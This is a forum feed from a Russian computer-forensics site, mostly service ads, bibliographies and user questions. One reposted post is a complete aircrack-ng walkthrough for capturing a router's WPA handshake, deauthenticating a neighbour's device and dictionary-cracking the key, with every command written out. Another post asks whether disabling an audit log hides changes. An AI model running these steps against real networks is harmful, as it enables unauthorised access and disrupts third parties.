http://expertiza.mybb.ru/ Независимая компьютерная экспертиза Чебоксары ru-ru Sat, 05 Mar 2022 08:34:40 +0300 MyBB/mybb.ru http://expertiza.mybb.ru/viewtopic.php?pid=158#p158 <p><span style="font-size: 20px">Заверить переписку WhatsApp для суда</span></p> <p>Необходимо нотариально заверить переписку WhatsApp? Нотариальное заверение не только не обязательно, но и часто оспаривается! Эксперт делает заверение переписки WhatsApp для суда быстрее и дешевле. Дистанционно от одного дня. В офисах Москвы, Санкт-Петербурга за несколько часов.</p> <p>• Наше заключение принимают в суде<br />• В отличие от нотариального заверения не оспаривают<br />• Вернем деньги если не примут<br /></p> <p><span style="font-size: 20px">Зачем заверять переписку WhatsApp для суда</span></p> <p>Заверение электронной переписки требуется для фиксации спорных вопросов, явно непрописанных в договоре и доказательства иных договоренностей, не оформленных в надлежащем законом образом.</p> <p>Например, объем и стоимость работ, были оговорены не в виде документа, а в электронной переписке. В мессенджере обещали перечисления алиментов, долгов, происходили угрозы и оскорбления.</p> <p>Просто прийти в суд и показать телефон или ноутбук, а также показать распечатку, нельзя. Для того чтобы доказательства имели юридическую силу, необходимо заверить переписку специалистами.</p> <p>Вот самые распространенные случае, когда требуется заверение.</p> <p>• Деловая переписка<br />• Трудовые споры<br />• Семейные споры<br />• Не возвращённые долги<br />• Клевета, угрозы, лживые обвинения<br />• Не выплата алиментов<br />• Качество и факты оказания услуг<br /><br /></p> <p><span style="font-size: 20px">Почему не обязательно делать нотариальное заверение WhatsApp</span></p> <p>Часто в суде или от адвокатов можно услышать, что требуется нотариальное заверение электронной переписки. Однако последние годы заверением чаще занимаются профильные специалисты. Услуги последних дешевле и точно также принимаются в судах.</p> <p>Кроме того, нотариальный протокол закономерно не содержит информации о достоверности, переписки которую нотариусу показывали, если он не привлек для этого эксперта, обладающего специальными знаниями в данной специфической области.</p> <p>Прямого указания на необходимость именно нотариальной переписки нет. Скорее в процессуальном кодексе указано на важность проведения экспертизы именно экспертом.</p> <p>[…..сведения о фактах, на основе которых суд устанавливает наличие или отсутствие обстоятельств…… могут быть получены из объяснений сторон и третьих лиц, показаний свидетелей, письменных и вещественных доказательств, аудио- и видеозаписей, заключений экспертов] (Ст. 55 ГПК РФ Доказательства).</p> <p>[Письменными доказательствами являются …….деловая корреспонденция, иные документы и материалы……в том числе полученные посредством факсимильной, электронной или другой связи, с использованием информационно-телекоммуникационной сети &quot;Интернет&quot;,…….либо выполненные иным позволяющим установить достоверность документа способом.] (ст. 71 ГПК РФ Письменные доказательства).</p> <p>Так образом, заключения экспертов, подготовленные в форме письменных доказательств по исследованию достоверности деловой переписки, полученной с использованием информационной сети Интернет, могут выступать в качестве доказательств в суде.<br /><br /></p> <p><span style="font-size: 20px">Какие вопросы ставятся перед судебным экспертом</span></p> <p>Объектом исследования в данном случае выступает учетная запись WhatsApp, закрепленная за конкретным абонентским номером. Носителем цифровой информации является Ваше мобильное устройство. В рамках подготовки заключения перед экспертом ставятся вопросы имеются ли в данной учетной записи признаки монтажа и следов внесения изменений? В случае их отсутствия эксперт фиксирует и приводит в заключение, часть (или всю) электронной переписки, имеющей отношение к рассматриваемому делу.<br /></p> <p><span style="font-size: 20px">Случаи из практики</span></p> <p>...Предприниматель – разместил в открытом доступе объявление рекламного характера...При помощи WhatsApp на учетную запись предпринимателя поступил заказ...Прибыв на место, водителем погрузчика были высказаны сомнения...</p> <p>...Организация для проведения ремонтных работ была нанята строительно-подрядная фирма...Объем и условия оговаривались через электронную почту...возникла спорная ситуация...С целью подтверждения своих доводов фирма обратилась...</p> <p>...Физическое лицо взяло в долг денежные средства у другого по расписке. По истечению длительного срока, лицо занявшее денежные средства, отказалось возвращать долг. Оригинал расписки был утерян, но у другого лица расписка была зафиксирована в виде фотоизображения на мобильном устройстве... В рамках исследования цифрового фотоизображения, сделанное с помощью мобильного устройства, экспертом АНО СЭЦ «СПЕЦИАЛИСТ»...</p> <p>...Владелец транспортного средства предоставлял свою машину в аренду по доверенности. Арендатор данного ТС, после истечения срока аренды, решил оставить машину на улице, сообщив об этом владельцу с помощью электронной переписки, но заранее не согласовав данный вопрос. После Владелец обнаружил, что машина была эвакуирована на штраф стоянку...В рамках исследования электронной переписки, осуществляемой с помощью мобильного приложения «WhatsApp»<br /></p> <p><span style="font-size: 20px">Как происходит исследование переписки</span></p> <p>После того как мы предварительно обсудим проблему вы предоставляете доступ к Web-версии вашего аккаунта в WhatsApp (если предполагаете делать удаленно) или приносите в один из наших офисов устройство. Кстати возможен осмотр через программы удаленного просмотра типа Teamviewer, AnyDesk, Google - сервисы.</p> <p>Затем экспертом проводится исследование с изъятием необходимой для заключения цифровой информации.</p> <p>После этого, определяется общая стоимость подготовки заключения, заключается договор и производится предоплата в объеме 50%, от общей стоимости, любым удобным для Вас способом (через сайт, по присланной ссылке, через банк, либо наличными)</p> <p>Далее, происходит подготовка заключения, в обговоренные сроки, с последующем направлением Вам проекта заключения для изучения. В случае если заключение Вас и/или Вашего адвоката устраивает Вы производите полную оплату.</p> <p>Готовое и согласованное заключение в сшитом виде, с дипломами эксперта и подписанное им, передается Вам нарочно, если Вы забираете его в наших офисах, либо направляется Вам экспресс почтой. К заключению прикладывается акт выполненных работ и кассовый чек об оплате выполненных услуг.<br /></p> <p><span style="font-size: 20px">Сколько времени занимает экспертиза переписки WhatsApp</span></p> <p>Данное исследование имеет ряд плюсов перед нотариальным осмотром, а именно: Заключение компьютерно-технического эксперта готовятся в предельно сжатые сроки. В зависимости от объема имеющий отношения к делу переписки WhatsApp - от нескольких часов, до трех дней.<br /></p> <p><span style="font-size: 20px">Можно ли заверить переписку дистанционно?</span></p> <p>Да. Почти все переписки мы заверяем дистанционно.</p> <p>По результатам исследования проект заключения направляется Вам на электронную почту, а оригиналы договоров, актов и кассовый чек – экспресс почтой. Поэтому исследование проводится для всех городов и судебных участков по все России.<br /></p> <p><span style="font-size: 20px">Как правильно приобщить заверенную переписку</span></p> <p>При подаче заключения, с целью приобщения к материалам дела следует подготовить ходатайство, в котором, в краткой форме изложить тот тезис, который Вы доказываете при помощи переписки с просьбой приобщить заключение компьютерно-технического эксперта.</p> <p>Данном ходатайстве следует также указать на текущие судебные практики. Одним из примеров такой практики является Постановление №09АП-17964/2009-ГК от 30.10.2009, где сказано, что «Основными законами Российской Федерации о нотариальной деятельности и Арбитражным процессуальным кодексом не предписывается, что информация, размещенная в Интернете должна заверяться исключительно нотариусами»</p> <p>Другим способом приобщения заключения – является его отправка по почте с приложением тоже ходатайства или через систему судебного электронного документооборота. Для этих целей нами в адрес заказчика направляется электронная копия заключения, подписанная ЭЦП.<br /></p> <p><span style="font-size: 20px">Какие гарантии что переписку примут в суде</span></p> <p>Отвечая на данный вопрос следует брать во внимание, что у судей, так же, как и у всех есть свои взгляды и предрассудки. Долгое время электронные переписки приобщались только при помощи нотариальных осмотров, хотя как уже было сказано выше, ни из одного нормативного документа это не следует. Сейчас, когда экспертное заверение становится все более и более распространённым, обоснованным, когда имеется уже значительная практика их использования можно с уверенностью сказать, что суды принимают заключения экспертов точно также, как и нотариальные.</p> <p>На нашей практике был действительно 1 случай, когда экспертизу не приняли. Однако по последующей информации заключение было преподнесено не должным образом и присутствовал, определенный негатив между стороной и судьей. Тем не менее, если все же возникнет прецедент, что заключение судом будет мотивированно отклонено, по причине необходимости нотариального осмотра, мы готовы вернуть деньги.</p> mybb@mybb.ru (Специалист) Sat, 05 Mar 2022 08:34:40 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=158#p158 http://expertiza.mybb.ru/viewtopic.php?pid=145#p145 <p><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/c7/8c376946bc0e01939271423f670a66c7.jpg" alt="http://i59.fastpic.ru/big/2015/1029/c7/8c376946bc0e01939271423f670a66c7.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/be/3ff69eccc108a01ae043121c35f6cabe.jpg" alt="http://i59.fastpic.ru/big/2015/1029/be/3ff69eccc108a01ae043121c35f6cabe.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/0b/78ca36f2d83ea5d52001c5751a05e20b.jpg" alt="http://i59.fastpic.ru/big/2015/1029/0b/78ca36f2d83ea5d52001c5751a05e20b.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/e4/4f08c32d725325215f47db8daf8938e4.jpg" alt="http://i59.fastpic.ru/big/2015/1029/e4/4f08c32d725325215f47db8daf8938e4.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/ce/ef674fd38d6d2f120202751b2a57ccce.jpg" alt="http://i59.fastpic.ru/big/2015/1029/ce/ef674fd38d6d2f120202751b2a57ccce.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/94/fca4cbc9339b4ed6470bb997f0482894.jpg" alt="http://i59.fastpic.ru/big/2015/1029/94/fca4cbc9339b4ed6470bb997f0482894.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/2b/1e9bf3f92ba8eb0d86265b7eea14492b.jpg" alt="http://i59.fastpic.ru/big/2015/1029/2b/1e9bf3f92ba8eb0d86265b7eea14492b.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/dd/b50361893083b4d4768dc1449124a1dd.jpg" alt="http://i59.fastpic.ru/big/2015/1029/dd/b50361893083b4d4768dc1449124a1dd.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/1e/aa17e407da2bb1a5e68c5ea9e29dd11e.jpg" alt="http://i59.fastpic.ru/big/2015/1029/1e/aa17e407da2bb1a5e68c5ea9e29dd11e.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/ee/6af8fa7e62cee8a71971b6a9967528ee.jpg" alt="http://i59.fastpic.ru/big/2015/1029/ee/6af8fa7e62cee8a71971b6a9967528ee.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/c8/7c56e72c6895c2bde76e8671fe989dc8.jpg" alt="http://i59.fastpic.ru/big/2015/1029/c8/7c56e72c6895c2bde76e8671fe989dc8.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/d7/9d1b22055b4ce6241cc7383a0f72a0d7.jpg" alt="http://i59.fastpic.ru/big/2015/1029/d7/9d1b22055b4ce6241cc7383a0f72a0d7.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/0b/668e2965c080e739137e58126acdef0b.jpg" alt="http://i59.fastpic.ru/big/2015/1029/0b/668e2965c080e739137e58126acdef0b.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/df/43ff356dbc946926f2e3d4cfc6b136df.jpg" alt="http://i59.fastpic.ru/big/2015/1029/df/43ff356dbc946926f2e3d4cfc6b136df.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/83/7284c73f790c9b127d231fcc1d793583.jpg" alt="http://i59.fastpic.ru/big/2015/1029/83/7284c73f790c9b127d231fcc1d793583.jpg" /></a><br /><a href="http://fastpic.ru/" rel="nofollow" target="_blank"><img class="postimg" loading="lazy" src="http://i59.fastpic.ru/big/2015/1029/50/9843ec30bea44605f4d73ad8138c5f50.jpg" alt="http://i59.fastpic.ru/big/2015/1029/50/9843ec30bea44605f4d73ad8138c5f50.jpg" /></a></p> mybb@mybb.ru (igorev6) Fri, 06 Nov 2015 10:05:59 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=145#p145 http://expertiza.mybb.ru/viewtopic.php?pid=142#p142 <p>Карпухина Е.С., Усов А.И., Хатунцев Н.А., Эджубов Л.Г.,<br />Роль компьютерно-технической экспертизы при решении комплексных задач</p> <p>Карпухина Е.С., Усов А.И., Эджубов Л.Г.,<br />Судебная компьютерно-техническая экспертиза и методы решения комплексных задач</p> <p>Карпухина Е.С., Сидорова А.К.,<br />Исследование вредоносных программ при производстве судебной компьютерно-технической экспертизы</p> <p>Карпухина Е.С.,<br />О Международном научно-практическом семинаре &quot;Актуальные задачи судебной компьютерно-технической экспертизы&quot;</p> <p>Усов А.И.,<br />Концептуальные основы судебной компьютерно-технической экспертизы.</p> <p>Карпухина Е.С.,<br />О способах и детализации описания исследования при производстве судебных компьютерно-технических экспертиз</p> mybb@mybb.ru (counter) Wed, 30 Sep 2015 08:48:46 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=142#p142 http://expertiza.mybb.ru/viewtopic.php?pid=139#p139 <p>Россинская Елена Рафаиловна, доктор юридических наук, профессор. В 1972 году с отличием окончила Московский институт тонкой химической технологии им. М.В. Ломоносова (ныне Академия тонкой химической технологии им. М.В. Ломоносова ). Дипломная работа выполнялась под руководством известного ученого-физика профессора А.И. Китайгородского в лаборатории рентгеноструктурного анализа Института элементоорганических соединений АН СССР и была посвящена рентгеноструктурному анализу сложных золотоорганических комплексных соединений. С 1972 по 1979 г. занималась проблемами рентгеноструктурного анализа и разработала ряд методик рентгеновского исследования металлов и сплавов, тонких оксидных пленок.</p> <p>С 1979 года, находилась на практической и научной работе в экспертно-криминалистических подразделениях органов внутренних дел, где занималась научными исследованиями в области судебной экспертизы веществ и материалов и пожарно-технической экспертизы, разработкой методик рентгеноструктурного и рентгеноспектрального анализа объектов судебных экспертиз. Ею выполнено более 5000 судебных экспертиз.</p> <p>1989 – 2001 доцент и профессор кафедры криминалистики Юридического института МВД РФ. Полковник милиции в отставке. С 2001 года профессор кафедры криминалистики, а с февраля 2005 г. директор Института судебных экспертиз Московской государственной юридической академии, одновременно заведует кафедрой судебных экспертиз МГЮА, научный руководитель направления по подготовке судебных экспертов инженерно-технических экспертиз в МГТУ им. Н.Э. Баумана.</p> <p>С 1988 г. Е.Р. Россинская – кандидат юридических наук. Тема кандидатской диссертации «Комплексные криминалистические экспертизы с применением рентгеновских методов исследования материалов, веществ и изделий. С 1993 г. она доктор юридических наук. Тема докторской диссертации «Концептуальные основы теории неразрушающих методов исследования вещественных доказательств». С 1995 г. – профессор. С 1994 года Е.Р. Россинская действительный член Международной ассоциации по идентификации (IAI USA), с 1998 года академик Международной академии информатизации, с 2002 года академик Российской академии естественных наук.<br />В июне 2000 г. Е.Р. Россинской присвоено звание Заслуженный деятель науки Российской Федерации.</p> <p>В июне 2009 г. Е.Р. Россинской присвоено звание Почетного работника высшего профессионального образования Российской Федерации.</p> mybb@mybb.ru (counter) Wed, 30 Sep 2015 08:21:33 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=139#p139 http://expertiza.mybb.ru/viewtopic.php?pid=136#p136 <p>Усов А.И., Под ред.: Россинская Е.Р.:<br /><span style="font-size: 20px">Судебно-экспертное исследование компьютерных средств и систем. Основы методического обеспечения: Учебное пособие</span></p> <p>Тип: Издание<br />Авторы: Усов А.И., Под ред.: Россинская Е.Р.<br />Издательство: Право и Закон, Экзамен<br />Место издания: Москва<br />Количество страниц: 368<br />Год издания: 2003 г.</p> <p>Оглавление:</p> <p>Введение</p> <p>Глава 1. Требования к методическому обеспечению судебной компьютерно-технической экспертизы<br />§ 1. Состав и содержание методического обеспечения СКТЭ<br />§ 2. Сущность основных требований к методам и средствам судебной компьютерно-технической экспертизы<br />§ 3. Взаимосвязь методического обеспечения с результатами оценки заключения судебной компьютерно-технической экспертизы следователем и судом<br />§ 4. Пути повышения качества методического обеспечения СКТЭ<br />§ 5. Сущность общей экспертной методики по исследованию объектов СКТЭ<br />§ 6. Общие сведения о профессиональных пакетах прикладных программ судебно-экспертного исследования компьютерных систем</p> <p>Глава 2. Сущность, средства и способы диагностирования компьютерных средств исистем<br />§ 1. Экспертная диагностика установок базовой системы ввода-вывода<br />§ 2. Экспертные средства обеспечения доступа к информации на дисковых носителях информации<br />§ 3. Утилиты копирования (клонирования) дисков<br />§ 4. Диагностика реестра операционной системы MS Windows<br />§ 5. Сервисные утилиты как универсальный экспертный инструментарий<br />§ 6. Применение файловых менеджеров в экспертных исследованиях<br />§ 7. Программа создания и изменения разделов жесткого диска Partition Magic<br />§ 8. Методическое обеспечение диагностирования компакт-дисков</p> <p>Глава 3. Методические подходы по применению основных методов и средств исследования типичных объектов СКТЭ<br />§ 1. Классификация объектов судебной компьютерно-технической экспертизы<br />§ 2. Задачи экспертного исследования информационных объектов СКТЭ<br />§ 3. Судебно-экспертное исследование текстовых файлов<br />§ 4. Утилиты для решения экспертных задач по поиску и сравнению файлов<br />§ 5. Методические приемы и программные средства исследования графических объектов СКТЭ<br />§ 6. Программные средства восстановления удаленных файлов</p> <p>Глава 4. Основные положения по судебно-экспертному исследованию программных средств<br />§ 1. Виды и способы представления программных средств на СКТЭ<br />§ 2. Основные средства и методы исследования программных объектов СКТЭ <br />§ 3. Программные средства мониторинга процессов в системе<br />§ 4. Возможности использования технологии Reverse Engineering в СКТЭ<br />§ 5. Основные методы доступа к алгоритмам программных средств<br />§ 6. Программные средства экспертного исследования вредоносных программ</p> <p>Глава 5. Методические подходы к исследованию компьютерной информации, сопряженной с работой в сети Интернет<br />§ 1. Вопросы по экспертному исследованию информации, сопряженной с работой в сети Интернет<br />§ 2. Экспертные задачи, решаемые при исследовании информации, сопряженной с работой в Интернет<br />§ 3. Описание и краткая характеристика объектов исследования<br />§ 4. Характеристика используемых экспертных средств<br />§ 5. Последовательность действий эксперта СКТЭ по исследованию информации, сопряженной с работой в сети Интернет <br />§ 6. Некоторые особенности формулирования выводов по экспертному исследованию информации, сопряженной с работой в сети Интернет</p> <p>Глава 6. Особенности экспертной диагностики защищенной компьютерной информации<br />§ 1. Основные сведения о криптографической защите компьютерных данных<br />§ 2. Актуальные аспекты экспертного исследования защищенной информации в архивах и офисных программах<br />§ 3. Проблемы производства судебно-экспертного исследования компьютерной информации, защищенной стеганографическими средствами</p> <p>Глава 7. Актуальные проблемы и некоторые возможности судебно-экспертного исследования компьютерных систем в гражданском судопроизводстве<br />§ 1. Методические основы проведения СКТЭ в арбитражных процессах<br />§ 2. Особенности проведения комплексной СКТЭ и патентоведческой экспертизы компьютерных средств</p> <p>Заключение<br />Библиография</p> <p>Приложения<br />1. Примерный паспорт типовой методики СКТЭ<br />2. Справочные данные о комплексе РС-3000<br />3. Справочник по расширениям имен файлов операционных систем MS DOS и Windows<br />4. Перечень ссылок на информационные ресурсы сети Интернет, рекомендуемых для ознакомления эксперту СКТЭ<br />5. Типичное содержание исследовательской части судебной экспертизы программных средств (на примере дела об «электронном лохотроне»)<br />6. Основные характеристики и особенности антивирусных пакетов программ<br />7. Типовая программа подготовки экспертов СКТЭ по специальности «Исследование информационных компьютерных средств»<br />8. Перечень стандартов, рекомендуемых для изучения и использования при решении задач СКТЭ</p> mybb@mybb.ru (counter) Wed, 30 Sep 2015 08:13:40 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=136#p136 http://expertiza.mybb.ru/viewtopic.php?pid=135#p135 <p>IMEI&#160; *#06#</p> <p>Сервисные коды</p> <p>Инженерное меню</p> <p>root права</p> mybb@mybb.ru (counter) Fri, 25 Sep 2015 07:15:28 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=135#p135 http://expertiza.mybb.ru/viewtopic.php?pid=134#p134 <p>Мобильный телефон Explay Indigo</p> <p>Indigo | Техническая поддержка Explay<br />support.explay.ru›Indigo</p> <p>Инструкция по эксплуатации Indigo</p> mybb@mybb.ru (counter) Wed, 23 Sep 2015 14:35:39 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=134#p134 http://expertiza.mybb.ru/viewtopic.php?pid=133#p133 <p><span style="font-size: 20px">Sony Xperia</span></p><div class="quote-box answer-box"><cite>Покупатель написал(а):</cite><blockquote><p>Здравствуйте. На телефоне Sony Xperia acro S обнаружил 4 &quot;дефектных&quot; (2 ярких + 2 менее ярких) пикселя, т.е 4 светлые точки на черном фоне. В авторизованном сервисном центре считают, что аппарат исправен, замечая только 2 дефектных пикселя.</p> <p>Согласно пункту 3 Ограниченной гарантии телефонов Sony Mobile, считается допустимым наличие на дисплее двух дефектных пикселов:</p> <p>«Возможно также наличие на дисплее ярких и темных точек. Эти точки (дефектные пикселы) появляются вследствие отказа отдельных элементов дисплея; устранение таких дефектов невозможно. Считается допустимым наличие двух дефектных пикселов».</p> <p>Подскажите, сколько стоит экспертиза?</p></blockquote></div><div class="quote-box answer-box"><cite>Эксперт написал(а):</cite><blockquote><p>Добрый день!<br />Стоимость диагностики - 1000 руб., стоимость заключения 2500 руб. Сроки 5-7 рабочих дней.</p></blockquote></div> mybb@mybb.ru (counter) Wed, 16 Sep 2015 10:02:50 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=133#p133 http://expertiza.mybb.ru/viewtopic.php?pid=117#p117 <p>Тестирование WiFi сетей с помощью пакета aircrack-ng</p> <p>source: <a href="http://antik.mybb.ru/viewtopic.php?id=8" rel="nofollow" target="_blank">http://antik.mybb.ru/viewtopic.php?id=8</a></p> <p>Вся информация дана исключительно в ознакомительных целях</p><div class="quote-box quote-main"><blockquote><p>На практике был использованы утилиты из дистрибутива Kali Linux</p> <p>Итак, картина маслом:</p> <p>74:DE:2B:77:19:4D - я.<br />18:F4:6A:9B:BF:59 - сосед.<br />C8:64:C7:53:02:0C - нужная нам точка доступа (роутер).<br />Роутер работает на 5 канале. Шифрование WPA/WPA2. Отображаемое имя DIR-300</p> <p>Запускаем беспроводной интерфейс в режиме мониторинга</p> <p>airmon-ng start wlan0</p> <p>Слушаем (мониторим) эфир</p> <p>Предварительная разведка<br />airodump-ng mon0<br />Останавливаем мониторинг клавишами Ctrl+C</p> <p>Слушаем пакеты только для конкретной точки доступа<br />airodump-ng --bssid C8:64:C7:53:02:0C mon0</p> <p>Начинаем запись (дампинг) пакетов в файлы packets*<br />airodump-ng -w packets -c 5 mon0</p> <p>Или лучше вести выборочную запись<br />airodump-ng --bssid C8:64:C7:53:02:0C -w packets -c 5 mon0<br />Здесь<br />--bssid C8:64:C7:53:02:0C точка доступа<br />-c 5 номер канала</p> <p>Деаутентифицируем соседа</p> <p>Не останавливая записи пакетов, открываем новую консоль и создаём помехи соседу.<br />aireplay-ng -0 1000 -a C8:64:C7:53:02:0C -c 18:F4:6A:9B:BF:59 --ignore-negative-one mon0</p> <p>Подбираем PSK ключ по словарю</p> <p>Брутим полученные даные packets-01.cap с помощью словаря passwords.txt<br />aircrack-ng -a 2 -e DIR-300 -w passwords.txt packets-01.cap</p> <p>Если было проведено несколько попыток записи, то можно анализировать группу файлов<br />aircrack-ng -a 2 -e DIR-300 -w passwords.txt packets*.cap</p> <p>Здесь passwords.txt - текстовый файл, в каждой строке которого записан один пароль. Можно создать собственный словарь или скачать из Интернета.</p></blockquote></div> mybb@mybb.ru (Росгостехпизднадзор) Tue, 15 Sep 2015 13:56:50 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=117#p117 http://expertiza.mybb.ru/viewtopic.php?pid=109#p109 <div class="quote-box answer-box"><cite>counter написал(а):</cite><blockquote><p>Для этого открываем пункт главного меню «Сервис», и далее выбираем «Журнал регистрации». Замечу что, по умолчанию опция журнала регистрации включена. Однако, иногда, ошибочно полагая, что регистрация приведет к понижению производительности, некоторые администраторы ее отключают. Тем самым лишаясь полезной функциональности.</p></blockquote></div> <p>То есть, если Журнал регистрации временно отключить, за это время можно сделать изменения, которые останутся нигде неучтенными?</p> mybb@mybb.ru (Иван) Sun, 11 Jan 2015 19:29:07 +0300 http://expertiza.mybb.ru/viewtopic.php?pid=109#p109 http://expertiza.mybb.ru/viewtopic.php?pid=108#p108 <p><span style="font-size: 20px">Ликбез о компьютерных вирусах</span></p> <p>В процессе знакомства с компьютером Вы уже наверняка встретились с понятиями &quot;компьютерный вирус&quot;, &quot;троянская программа&quot;, &quot;троянец&quot; (он же &quot;троян&quot;) и, возможно, с некоторыми другими страшными словами, которыми обычно пугают неопытных пользователей. Надо сказать, чаще всего пугают не зря.</p> <p>Сначала хотелось бы немного углубиться в технологию и историю вопроса. Вы знаете, что компьютер работает исключительно под управлением программ (программного обеспечения, софта). Это делает его по-настоящему универсальным устройством, которое может играть музыку как музыкальный центр, показывать кино как телевизор, печатать как пишущая машинка и изображать еще некоторые полезные вещи. Так вот, программы пишут программисты, это давно не секрет, а программисты – тоже люди, которым хочется иногда придумать и сделать что-то эдакое… Когда компьютеры были еще большими и использовались для выполнения сложных расчетов, операторы придумывали программы, которые заставляли лампочки (да, тогда еще были видны ламповые внутренности компьютера) хитрым образом мигать или зажигаться так, что получались слова. В фильме &quot;Служебный роман&quot; на стене у секретарши висит &quot;Джоконда&quot;, напечатанная на простом принтере, который мог печатать только буквы (вроде пишущей машинки). Для составления программы, которая напечатала бы такое, надо было хорошо знать возможности техники и особенности программирования.</p> <p>Так вот, невинные шалости программистов с повсеместным распространением компьютеров и развитием их возможностей начали приобретать все более зловещую направленность. Появились программы (тоже поначалу шуточные), которые играли музыку, печатали разные текстики (вроде &quot;Как вы все мне надоели!&quot;), показывали улыбающиеся рожи, вращали слэши (наклонные линии в путях файлов) и делали много других более или менее раздражающих вещей. До тех пор, пока человек, сидящий за компьютером, мог контролировать работу этих программулек и знал, что и зачем он запустил, все было нормально. Но потом появились программы, которые не спрашивая ничьего разрешения запускались, копировались в разные места диска и &quot;заражали&quot; другие программы (заменяли часть полезного кода рабочей программы своим или изменяли его). С этого момента и нужно начинать разговор о &quot;компьютерных вирусах&quot;.</p> <p>Компьютерным вирусом называется программа (некоторая совокупность выполняемого кода/инструкций), которая способна создавать свои копии (не обязательно полностью совпадающие с оригиналом) и внедрять их в различные объекты/ресурсы компьютерных систем, сетей и т.д. без ведома пользователя. При этом копии сохраняют способность дальнейшего распространения. (Это вроде как определение).</p> <p>Компьютерные вирусы, как и биологические, имеют три задачи – заразить, выполнить, размножиться.</p> <p>Заражается компьютер снаружи, когда человек запускает на исполнение некую программу, которая либо заражена вирусом (т.е. при ее выполнении запускается и вирус), либо сама является вирусом.</p> <p>Выполнять вирус может разные действия. Некоторые вирусы просто осыпали буквы с монитора или рисовали летающий мячик. Такие считаются наиболее безвредными. Другие могут переименовывать файлы на диске, стирать их. Эти, без сомнения гораздо опаснее. Наконец, недавно появился вирус &quot;Win95.CIH&quot;, который может испортить микросхему BIOS Вашего компьютера (хотя уже давно ходят слухи о том, что некоторые вирусы могут портить винчестеры, раскачивая их считывающие головки). Тут трудно сказать, что хуже – потеря информации или выход из строя компьютера (хотя бы и можно было его починить).</p> <p>И, наконец, вирус размножается, то есть дописывает себя везде, где он имеет шанс выполниться.</p> <p>В настоящее время, с развитием операционной системы и программного обеспечения появилось великое множество возможностей для вирусописателей.</p> <p>Сохраняют свои позиции вирусы &quot;старого&quot; типа, которые надо один раз запустить, после чего они постоянно при загрузке компьютера активно включаются в работу и начинают заражать все исполняемые файлы, которые попадаются им под руку.</p> <p>Появились вирусы, использующие возможности внутреннего языка программ серии Microsoft Office. Да, такие программки интересны и могут облегчить Вам жизнь. Но вот я как-то написал программу для Word (макрос иными словами), которая переименовывала файлы в заданном каталоге так, как было надо мне (стояла задача все графические файлы перенумеровать). И, в процессе, не закончив еще работу, я ее запустил. Результат – все файлы в корневом каталоге системного диска переименованы в &quot;1.jpg&quot;, &quot;2.jpg&quot; и так далее – до 13 номера. Естественно, система после этого не работала никак, поскольку были потеряны стандартные имена базовых файлов. Слава богу, удалось их восстановить (почти по памяти). Представьте, что Вы откроете документ (текст) в формате Word, которые сделает Вам такую гадость? И часто ли Вы задумываетесь, что Вам прислали по электронной почте? (Особенно когда там написано &quot;Заработай 1000 долларов!&quot;)</p> <p>Так как все больше людей попадает в Интернет, то последний становится вероятным рассадником заразы. Если в машинном зале моего института можно было просто засунуть дискету в дисковод, чтобы заразить ее, то теперь также достаточно зайти на некий сайт, ответить &quot;Да&quot;, нажав на кнопку формы, чтобы заполучить какую-нибудь гадость.</p> <p>Наиболее распространен сейчас вид почтовых вирусов, когда играют на любопытстве людей. Например, Вам приходит письмо с признанием в любви и приложенными фотографиями. Если Вы читали журналы и слышали о таких письмах, то Вы, конечно, немедленно сотрете письмо от незнакомого человека. Однако, первое движение – посмотреть, что же там пришло. И вот, все Ваши фотографии и музыка пропали, а вместо них – злобный вирус &quot;I Love You&quot; (или еще какой, похожий на него). А, кроме того, он еще и пошлет себя всем, кто записан в Вашей адресной книге (эдакое самоходное &quot;письмо счастья&quot;). А может еще и винчестер Вам почистить, чтобы не скучно было. (Есть и такие любители пошутить).</p> <p>Вирусы отличаются от троянских программ тем, что работают на себя. Троянцы же работают на чужого дядю. Получить троян можно так же, как и вирус. Только он, скорее всего, не будет проявлять себя открыто. Он просто очень тихо пошарит у Вас на диске, найдет пароли (от Интернета и не только), а потом отошлет их тому, кто его запустил в 